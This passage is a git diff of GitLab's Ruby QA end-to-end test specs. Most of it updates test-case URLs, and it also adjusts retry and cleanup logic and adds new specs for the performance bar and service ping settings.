create_new_mr_via_push
end
- it 'removes them on subsequent push', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1243' do
+ it 'removes them on subsequent push', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347840' do
Resource::Repository::ProjectPush.fabricate! do |push|
push.project = project
push.file_content = "Unlabel test #{SecureRandom.hex(8)}"
diff --git a/qa/qa/specs/features/api/3_create/merge_request/push_options_mwps_spec.rb b/qa/qa/specs/features/api/3_create/merge_request/push_options_mwps_spec.rb
index 164507d8fca..83dcb163d56 100644
--- a/qa/qa/specs/features/api/3_create/merge_request/push_options_mwps_spec.rb
+++ b/qa/qa/specs/features/api/3_create/merge_request/push_options_mwps_spec.rb
@@ -25,11 +25,12 @@ module QA
end
end
- after do
+ after do |example|
runner.remove_via_api!
+ project.remove_via_api! unless example.exception
end
- it 'sets merge when pipeline succeeds', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1240' do
+ it 'sets merge when pipeline succeeds', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347843' do
Resource::Repository::Commit.fabricate_via_api! do |commit|
commit.project = project
commit.commit_message = 'Add .gitlab-ci.yml'
@@ -72,7 +73,7 @@ module QA
expect(merge_request.merge_when_pipeline_succeeds).to be true
end
- it 'merges when pipeline succeeds', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1241' do
+ it 'merges when pipeline succeeds', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347842' do
Resource::Repository::Commit.fabricate_via_api! do |commit|
commit.project = project
commit.commit_message = 'Add .gitlab-ci.yml'
@@ -106,15 +107,22 @@ module QA
expect(merge_request).not_to be_nil, "There was a problem creating the merge request"
expect(merge_request[:merge_when_pipeline_succeeds]).to be true
- merge_request = Support::Waiter.wait_until(sleep_interval: 5) do
- mr = Resource::MergeRequest.fabricate_via_api! do |mr|
- mr.project = project
- mr.iid = merge_request[:iid]
- end
+ mr = nil
+ begin
+ merge_request = Support::Retrier.retry_until(max_duration: 60, sleep_interval: 5, message: 'The merge request was not merged') do
+ mr = Resource::MergeRequest.fabricate_via_api! do |mr|
+ mr.project = project
+ mr.iid = merge_request[:iid]
+ end
+
+ next unless mr.state == 'merged'
- next unless mr.state == 'merged'
+ mr
+ end
+ rescue Support::Repeater::WaitExceededError
+ QA::Runtime::Logger.debug("MR: #{mr.api_response}")
- mr
+ raise
end
expect(merge_request.state).to eq('merged')
diff --git a/qa/qa/specs/features/api/3_create/merge_request/push_options_remove_source_branch_spec.rb b/qa/qa/specs/features/api/3_create/merge_request/push_options_remove_source_branch_spec.rb
index 32c7196e9fb..708dd7aa8af 100644
--- a/qa/qa/specs/features/api/3_create/merge_request/push_options_remove_source_branch_spec.rb
+++ b/qa/qa/specs/features/api/3_create/merge_request/push_options_remove_source_branch_spec.rb
@@ -17,7 +17,7 @@ module QA
end
end
- it 'removes the source branch', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1242' do
+ it 'removes the source branch', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347841' do
Resource::Repository::ProjectPush.fabricate! do |push|
push.project = project
push.branch_name = branch
diff --git a/qa/qa/specs/features/api/3_create/merge_request/push_options_target_branch_spec.rb b/qa/qa/specs/features/api/3_create/merge_request/push_options_target_branch_spec.rb
index b0e616c2d1d..97d461c5113 100644
--- a/qa/qa/specs/features/api/3_create/merge_request/push_options_target_branch_spec.rb
+++ b/qa/qa/specs/features/api/3_create/merge_request/push_options_target_branch_spec.rb
@@ -16,7 +16,7 @@ module QA
end
end
- it 'sets a target branch', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1646' do
+ it 'sets a target branch', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347726' do
target_branch = "push-options-test-target-#{SecureRandom.hex(8)}"
Resource::Repository::ProjectPush.fabricate! do |push|
diff --git a/qa/qa/specs/features/api/3_create/merge_request/push_options_title_description_spec.rb b/qa/qa/specs/features/api/3_create/merge_request/push_options_title_description_spec.rb
index c898646c0de..9d534e9ea6b 100644
--- a/qa/qa/specs/features/api/3_create/merge_request/push_options_title_description_spec.rb
+++ b/qa/qa/specs/features/api/3_create/merge_request/push_options_title_description_spec.rb
@@ -14,7 +14,7 @@ module QA
end
end
- it 'sets title and description', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1239' do
+ it 'sets title and description', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347844' do
description = "This is a test of MR push options"
title = "MR push options test #{SecureRandom.hex(8)}"
diff --git a/qa/qa/specs/features/api/3_create/repository/default_branch_name_setting_spec.rb b/qa/qa/specs/features/api/3_create/repository/default_branch_name_setting_spec.rb
index b2a184c2374..cba563ef85a 100644
--- a/qa/qa/specs/features/api/3_create/repository/default_branch_name_setting_spec.rb
+++ b/qa/qa/specs/features/api/3_create/repository/default_branch_name_setting_spec.rb
@@ -11,7 +11,7 @@ module QA
Runtime::ApplicationSettings.restore_application_settings(:default_branch_name)
end
- it 'sets the default branch name for a new project', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1247' do
+ it 'sets the default branch name for a new project', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347837' do
project = Resource::Project.fabricate_via_api! do |project|
project.name = "default-branch-name"
project.initialize_with_readme = true
@@ -30,7 +30,7 @@ module QA
end
end
- it 'allows a project to be created via the CLI with a different default branch name', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1246' do
+ it 'allows a project to be created via the CLI with a different default branch name', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347838' do
project_name = "default-branch-name-via-cli-#{SecureRandom.hex(8)}"
group = Resource::Group.fabricate_via_api!
diff --git a/qa/qa/specs/features/api/3_create/repository/files_spec.rb b/qa/qa/specs/features/api/3_create/repository/files_spec.rb
index 4141b4343a0..48608094f5e 100644
--- a/qa/qa/specs/features/api/3_create/repository/files_spec.rb
+++ b/qa/qa/specs/features/api/3_create/repository/files_spec.rb
@@ -11,7 +11,7 @@ module QA
let(:project_name) { "api-basics-#{SecureRandom.hex(8)}" }
let(:sanitized_project_path) { CGI.escape("#{Runtime::User.username}/#{project_name}") }
- it 'user creates a project with a file and deletes them afterwards', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1581' do
+ it 'user creates a project with a file and deletes them afterwards', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347745' do
create_project_request = Runtime::API::Request.new(@api_client, '/projects')
post create_project_request.url, path: project_name, name: project_name
@@ -77,7 +77,7 @@ module QA
SVG
end
- it 'sets no-cache headers as expected', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1580' do
+ it 'sets no-cache headers as expected', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347746' do
create_project_request = Runtime::API::Request.new(@api_client, '/projects')
post create_project_request.url, path: project_name, name: project_name
diff --git a/qa/qa/specs/features/api/3_create/repository/project_archive_compare_spec.rb b/qa/qa/specs/features/api/3_create/repository/project_archive_compare_spec.rb
index db75d4639ff..6f175272d91 100644
--- a/qa/qa/specs/features/api/3_create/repository/project_archive_compare_spec.rb
+++ b/qa/qa/specs/features/api/3_create/repository/project_archive_compare_spec.rb
@@ -27,7 +27,7 @@ module QA
end
end
- it 'download archives of each user project then check they are different', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1575' do
+ it 'download archives of each user project then check they are different', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347748' do
archive_checksums = {}
users.each do |user_key, user_info|
diff --git a/qa/qa/specs/features/api/3_create/repository/push_postreceive_idempotent_spec.rb b/qa/qa/specs/features/api/3_create/repository/push_postreceive_idempotent_spec.rb
index 34254d579cb..1a2a1679cca 100644
--- a/qa/qa/specs/features/api/3_create/repository/push_postreceive_idempotent_spec.rb
+++ b/qa/qa/specs/features/api/3_create/repository/push_postreceive_idempotent_spec.rb
@@ -17,11 +17,11 @@ module QA
project&.remove_via_api!
end
- it 'pushes and creates a single push event three times', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1840' do
+ it 'pushes and creates a single push event three times', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347680' do
verify_single_event_per_push(repeat: 3)
end
- it 'repeatedly pushes and creates a single push event several times', :transient, testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1915' do
+ it 'repeatedly pushes and creates a single push event several times', :transient, testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347642' do
verify_single_event_per_push(repeat: Runtime::Env.transient_trials) do |i|
QA::Runtime::Logger.info("Transient bug test action - Trial #{i}")
end
diff --git a/qa/qa/specs/features/api/3_create/snippet/snippet_repository_storage_move_spec.rb b/qa/qa/specs/features/api/3_create/snippet/snippet_repository_storage_move_spec.rb
index 4b0dc9d431b..bfa408e1c92 100644
--- a/qa/qa/specs/features/api/3_create/snippet/snippet_repository_storage_move_spec.rb
+++ b/qa/qa/specs/features/api/3_create/snippet/snippet_repository_storage_move_spec.rb
@@ -21,7 +21,7 @@ module QA
praefect_manager.gitlab = 'gitlab'
end
- it 'moves snippet repository from one Gitaly storage to another', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1912' do
+ it 'moves snippet repository from one Gitaly storage to another', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347645' do
expect(snippet).to have_file('original_file')
expect { snippet.change_repository_storage(destination_storage[:name]) }.not_to raise_error
expect { praefect_manager.verify_storage_move(source_storage, destination_storage, repo_type: :snippet) }.not_to raise_error
diff --git a/qa/qa/specs/features/api/4_verify/cancel_pipeline_when_block_user_spec.rb b/qa/qa/specs/features/api/4_verify/cancel_pipeline_when_block_user_spec.rb
index 5d153e7736a..7c3fb9ebeba 100644
--- a/qa/qa/specs/features/api/4_verify/cancel_pipeline_when_block_user_spec.rb
+++ b/qa/qa/specs/features/api/4_verify/cancel_pipeline_when_block_user_spec.rb
@@ -34,7 +34,7 @@ module QA
project.remove_via_api!
end
- it 'pipeline schedule is canceled', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1825' do
+ it 'pipeline schedule is canceled', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347999' do
user.block!
expect(pipeline_schedule[:active]).not_to be_truthy, "Expected schedule active state to be false - active state #{pipeline_schedule[:active]}"
diff --git a/qa/qa/specs/features/api/5_package/container_registry_spec.rb b/qa/qa/specs/features/api/5_package/container_registry_spec.rb
index 5847ffa1419..3a1a3ff7169 100644
--- a/qa/qa/specs/features/api/5_package/container_registry_spec.rb
+++ b/qa/qa/specs/features/api/5_package/container_registry_spec.rb
@@ -72,15 +72,17 @@ module QA
registry&.remove_via_api!
end
- it 'pushes, pulls image to the registry and deletes image blob, manifest and tag', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1819' do
- Resource::Repository::Commit.fabricate_via_api! do |commit|
- commit.api_client = api_client
- commit.commit_message = 'Add .gitlab-ci.yml'
- commit.project = project
- commit.add_files([{
- file_path: '.gitlab-ci.yml',
- content: gitlab_ci_yaml
- }])
+ it 'pushes, pulls image to the registry and deletes image blob, manifest and tag', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/348001' do
+ Support::Retrier.retry_on_exception(max_attempts: 3, sleep_interval: 2) do
+ Resource::Repository::Commit.fabricate_via_api! do |commit|
+ commit.api_client = api_client
+ commit.commit_message = 'Add .gitlab-ci.yml'
+ commit.project = project
+ commit.add_files([{
+ file_path: '.gitlab-ci.yml',
+ content: gitlab_ci_yaml
+ }])
+ end
end
Support::Waiter.wait_until(max_duration: 10) { pipeline_is_triggered? }
diff --git a/qa/qa/specs/features/browser_ui/14_non_devops/performance_bar_spec.rb b/qa/qa/specs/features/browser_ui/14_non_devops/performance_bar_spec.rb
new file mode 100644
index 00000000000..829d52b8e93
--- /dev/null
+++ b/qa/qa/specs/features/browser_ui/14_non_devops/performance_bar_spec.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+module QA
+ RSpec.describe 'Non-devops' do
+ describe 'Performance bar display', :requires_admin, :skip_live_env do
+ context 'when logged in as an admin user' do
+ # performance metrics: pg, gitaly, redis, rugged (feature flagged), total (not always provided)
+ let(:minimum_metrics_count) { 3 }
+
+ before do
+ Flow::Login.sign_in_as_admin
+ Page::Main::Menu.perform(&:go_to_admin_area)
+ Page::Admin::Menu.perform(&:go_to_metrics_and_profiling_settings)
+
+ Page::Admin::Settings::MetricsAndProfiling.perform do |setting|
+ setting.expand_performance_bar do |page|
+ page.enable_performance_bar
+ page.save_settings
+ end
+ end
+ end
+
+ it 'shows results for the original request and AJAX requests', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/348030' do
+ # Issue pages always make AJAX requests
+ Resource::Issue.fabricate_via_browser_ui! do |issue|
+ issue.title = 'Performance bar test'
+ end
+
+ Page::Layout::PerformanceBar.perform do |bar_component|
+ expect(bar_component).to have_performance_bar
+ expect(bar_component).to have_detailed_metrics(minimum_metrics_count)
+ expect(bar_component).to have_request_for('realtime_changes') # Always requested on issue pages
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/specs/features/browser_ui/14_non_devops/service_ping_default_enabled_spec.rb b/qa/qa/specs/features/browser_ui/14_non_devops/service_ping_default_enabled_spec.rb
new file mode 100644
index 00000000000..ecc59aa7cc8
--- /dev/null
+++ b/qa/qa/specs/features/browser_ui/14_non_devops/service_ping_default_enabled_spec.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+module QA
+ RSpec.describe 'Service ping default enabled' do
+ context 'When using default enabled from gitlab.yml config', :requires_admin do
+ before do
+ Flow::Login.sign_in_as_admin
+
+ Page::Main::Menu.perform(&:go_to_admin_area)
+ Page::Admin::Menu.perform(&:go_to_metrics_and_profiling_settings)
+ end
+
+ it 'has service ping toggle enabled' do
+ Page::Admin::Settings::MetricsAndProfiling.perform do |setting|
+ setting.expand_usage_statistics do |page|
+ expect(page).not_to have_disabled_usage_data_checkbox
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/specs/features/browser_ui/14_non_devops/service_ping_disabled_spec.rb b/qa/qa/specs/features/browser_ui/14_non_devops/service_ping_disabled_spec.rb
new file mode 100644
index 00000000000..309369265c9
--- /dev/null
+++ b/qa/qa/specs/features/browser_ui/14_non_devops/service_ping_disabled_spec.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+module QA
+ RSpec.describe 'Service ping disabled', :orchestrated, :service_ping_disabled, :requires_admin do
+ context 'when disabled from gitlab.yml config' do
+ before do
+ Flow::Login.sign_in_as_admin
+
+ Page::Main::Menu.perform(&:go_to_admin_area)
+ Page::Admin::Menu.perform(&:go_to_metrics_and_profiling_settings)
+ end
+
+ it 'has service ping toggle is disabled' do
+ Page::Admin::Settings::MetricsAndProfiling.perform do |settings|
+ settings.expand_usage_statistics do |usage_statistics|
+ expect(usage_statistics).to have_disabled_usage_data_checkbox
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/specs/features/browser_ui/1_manage/group/bulk_import_group_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/group/bulk_import_group_spec.rb
index 15d51c14d26..74125b092b8 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/group/bulk_import_group_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/group/bulk_import_group_spec.rb
@@ -56,7 +56,7 @@ module QA
it(
'imports group from UI',
- testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1806',
+ testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347862',
issue_1: 'https://gitlab.com/gitlab-org/gitlab/-/issues/331252',
issue_2: 'https://gitlab.com/gitlab-org/gitlab/-/issues/333678',
issue_3: 'https://gitlab.com/gitlab-org/gitlab/-/issues/332351',
diff --git a/qa/qa/specs/features/browser_ui/1_manage/group/create_group_with_mattermost_team_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/group/create_group_with_mattermost_team_spec.rb
index eae8e1b7e12..4b2b49b8139 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/group/create_group_with_mattermost_team_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/group/create_group_with_mattermost_team_spec.rb
@@ -3,7 +3,7 @@
module QA
RSpec.describe 'Configure', :orchestrated, :mattermost do
describe 'Mattermost support' do
- it 'user creates a group with a mattermost team', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1459' do
+ it 'user creates a group with a mattermost team', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347890' do
Flow::Login.sign_in
Page::Main::Menu.perform(&:go_to_groups)
diff --git a/qa/qa/specs/features/browser_ui/1_manage/group/transfer_group_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/group/transfer_group_spec.rb
index 2550fc86ef2..881bc5bc7c3 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/group/transfer_group_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/group/transfer_group_spec.rb
@@ -28,7 +28,7 @@ module QA
end
it 'transfers a subgroup to another group',
- testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1828' do
+ testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347692' do
Page::Group::Menu.perform(&:click_group_general_settings_item)
Page::Group::Settings::General.perform do |general|
general.transfer_group(target_group.path)
diff --git a/qa/qa/specs/features/browser_ui/1_manage/group/transfer_project_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/group/transfer_project_spec.rb
index 87ac136d802..ffd7a7dfb6c 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/group/transfer_project_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/group/transfer_project_spec.rb
@@ -44,7 +44,7 @@ module QA
end
it 'user transfers a project between groups',
- testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1592' do
+ testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347878' do
# Retry is needed here as the target group is not avaliable for transfer right away.
QA::Support::Retrier.retry_on_exception(reload_page: page) do
Page::File::Show.perform(&:go_to_general_settings)
diff --git a/qa/qa/specs/features/browser_ui/1_manage/login/2fa_recovery_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/login/2fa_recovery_spec.rb
index 4e15aa79623..5ba80489652 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/login/2fa_recovery_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/login/2fa_recovery_spec.rb
@@ -33,7 +33,7 @@ module QA
group.add_member(developer_user, Resource::Members::AccessLevel::DEVELOPER)
end
- it 'allows using 2FA recovery code once only', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1271' do
+ it 'allows using 2FA recovery code once only', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347937' do
recovery_code = enable_2fa_for_user_and_fetch_recovery_code(developer_user)
Flow::Login.sign_in(as: developer_user, skip_page_validation: true)
diff --git a/qa/qa/specs/features/browser_ui/1_manage/login/2fa_ssh_recovery_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/login/2fa_ssh_recovery_spec.rb
index b97da194795..f85c07001e2 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/login/2fa_ssh_recovery_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/login/2fa_ssh_recovery_spec.rb
@@ -19,7 +19,7 @@ module QA
enable_2fa_for_user(user)
end
- it 'allows 2FA code recovery via ssh', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1227' do
+ it 'allows 2FA code recovery via ssh', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347938' do
recovery_code = Support::SSH.perform do |ssh|
ssh.key = ssh_key
ssh.uri = address.gsub(/(?<=:)(#{uri.port})/, ssh_port)
diff --git a/qa/qa/specs/features/browser_ui/1_manage/login/log_in_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/login/log_in_spec.rb
index 9625771164c..98b5ecc8f0d 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/login/log_in_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/login/log_in_spec.rb
@@ -3,7 +3,7 @@
module QA
RSpec.describe 'Manage', :smoke, :mobile do
describe 'basic user login' do
- it 'user logs in using basic credentials and logs out', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1578' do
+ it 'user logs in using basic credentials and logs out', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347880' do
Flow::Login.sign_in
Page::Main::Menu.perform do |menu|
diff --git a/qa/qa/specs/features/browser_ui/1_manage/login/log_in_with_2fa_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/login/log_in_with_2fa_spec.rb
index 78fbec594a3..ca0ce0d5775 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/login/log_in_with_2fa_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/login/log_in_with_2fa_spec.rb
@@ -35,7 +35,7 @@ module QA
group.add_member(developer_user, Resource::Members::AccessLevel::DEVELOPER)
end
- it 'allows enforcing 2FA via UI and logging in with 2FA', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1320' do
+ it 'allows enforcing 2FA via UI and logging in with 2FA', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347931' do
enforce_two_factor_authentication_on_group(group)
enable_two_factor_authentication_for_user(developer_user)
diff --git a/qa/qa/specs/features/browser_ui/1_manage/login/log_into_gitlab_via_ldap_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/login/log_into_gitlab_via_ldap_spec.rb
index b4b1632dfbf..7ecad1101c9 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/login/log_into_gitlab_via_ldap_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/login/log_into_gitlab_via_ldap_spec.rb
@@ -3,7 +3,7 @@
module QA
RSpec.describe 'Manage', :orchestrated, :ldap_no_tls, :ldap_tls do
describe 'LDAP login' do
- it 'user logs into GitLab using LDAP credentials', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1456' do
+ it 'user logs into GitLab using LDAP credentials', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347892' do
Flow::Login.sign_in
Page::Main::Menu.perform do |menu|
diff --git a/qa/qa/specs/features/browser_ui/1_manage/login/log_into_mattermost_via_gitlab_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/login/log_into_mattermost_via_gitlab_spec.rb
index f06ded7ba53..6bfb9c96fbd 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/login/log_into_mattermost_via_gitlab_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/login/log_into_mattermost_via_gitlab_spec.rb
@@ -3,7 +3,7 @@
module QA
RSpec.describe 'Manage', :orchestrated, :mattermost do
describe 'Mattermost login' do
- it 'user logs into Mattermost using GitLab OAuth', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1458' do
+ it 'user logs into Mattermost using GitLab OAuth', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347891' do
Flow::Login.sign_in
Support::Retrier.retry_on_exception do
diff --git a/qa/qa/specs/features/browser_ui/1_manage/login/login_via_instance_wide_saml_sso_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/login/login_via_instance_wide_saml_sso_spec.rb
index e3b73906fe5..d6cb65c2788 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/login/login_via_instance_wide_saml_sso_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/login/login_via_instance_wide_saml_sso_spec.rb
@@ -5,7 +5,7 @@ module QA
describe 'Instance wide SAML SSO' do
it(
'user logs in to gitlab with SAML SSO',
- testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1453'
+ testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347895'
) do
Runtime::Browser.visit(:gitlab, Page::Main::Login)
diff --git a/qa/qa/specs/features/browser_ui/1_manage/login/maintain_log_in_mixed_env_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/login/maintain_log_in_mixed_env_spec.rb
index 734529f319a..2c7656e20f1 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/login/maintain_log_in_mixed_env_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/login/maintain_log_in_mixed_env_spec.rb
@@ -3,7 +3,7 @@
module QA
RSpec.describe 'Manage', only: { subdomain: :staging }, quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/344213', type: :stale } do
describe 'basic user' do
- it 'remains logged in when redirected from canary to non-canary node', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/2251' do
+ it 'remains logged in when redirected from canary to non-canary node', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347626' do
Runtime::Browser.visit(:gitlab, Page::Main::Login)
Support::Retrier.retry_until(sleep_interval: 0.5) do
diff --git a/qa/qa/specs/features/browser_ui/1_manage/login/register_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/login/register_spec.rb
index 45d01d0f00a..16f8df5a90d 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/login/register_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/login/register_spec.rb
@@ -14,7 +14,7 @@ module QA
end
RSpec.describe 'Manage', :skip_signup_disabled, :requires_admin do
- describe 'while LDAP is enabled', :orchestrated, :ldap_no_tls, testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1300' do
+ describe 'while LDAP is enabled', :orchestrated, :ldap_no_tls, testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347934' do
before do
# When LDAP is enabled, a previous test might have created a token for the LDAP 'tanuki' user who is not an admin
# So we need to set it to nil in order to create a new token for admin user so that we are able to set_application_settings
@@ -39,7 +39,7 @@ module QA
end
end
- describe 'standard', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1652' do
+ describe 'standard', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347867' do
context 'when admin approval is not required' do
before(:all) do
set_require_admin_approval_after_user_signup_via_api(false)
@@ -66,7 +66,7 @@ module QA
end
end
- it 'allows recreating with same credentials', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1651' do
+ it 'allows recreating with same credentials', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347868' do
expect(Page::Main::Menu.perform(&:signed_in?)).to be_falsy
Flow::Login.sign_in(as: user, skip_page_validation: true)
@@ -106,7 +106,7 @@ module QA
end
end
- it 'allows user login after approval', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1639' do
+ it 'allows user login after approval', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347871' do
expect(page).to have_text(signed_up_waiting_approval_text)
Flow::Login.sign_in(as: @user, skip_page_validation: true)
diff --git a/qa/qa/specs/features/browser_ui/1_manage/project/add_project_member_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/project/add_project_member_spec.rb
index 3eb0a5457c0..6d09c8b1316 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/project/add_project_member_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/project/add_project_member_spec.rb
@@ -7,7 +7,7 @@ module QA
Runtime::Feature.enable(:invite_members_group_modal)
end
- it 'user adds project member', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1543' do
+ it 'user adds project member', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347887' do
Flow::Login.sign_in
user = Resource::User.fabricate_or_use(Runtime::Env.gitlab_qa_username_1, Runtime::Env.gitlab_qa_password_1)
diff --git a/qa/qa/specs/features/browser_ui/1_manage/project/create_project_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/project/create_project_spec.rb
index 34a7431e328..7f40818da03 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/project/create_project_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/project/create_project_spec.rb
@@ -22,7 +22,7 @@ module QA
project
end
- context 'in group', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1620' do
+ context 'in group', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347876' do
let(:project_name) { "project-in-group-#{SecureRandom.hex(8)}" }
let(:project) do
Resource::Project.fabricate_via_browser_ui! do |project|
@@ -34,7 +34,7 @@ module QA
it_behaves_like 'successful project creation'
end
- context 'in personal namespace', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1914' do
+ context 'in personal namespace', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347643' do
let(:project_name) { "project-in-personal-namespace-#{SecureRandom.hex(8)}" }
let(:project) do
Resource::Project.fabricate_via_browser_ui! do |project|
diff --git a/qa/qa/specs/features/browser_ui/1_manage/project/dashboard_images_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/project/dashboard_images_spec.rb
index e48a03b5661..2f9ceeb98eb 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/project/dashboard_images_spec.rb
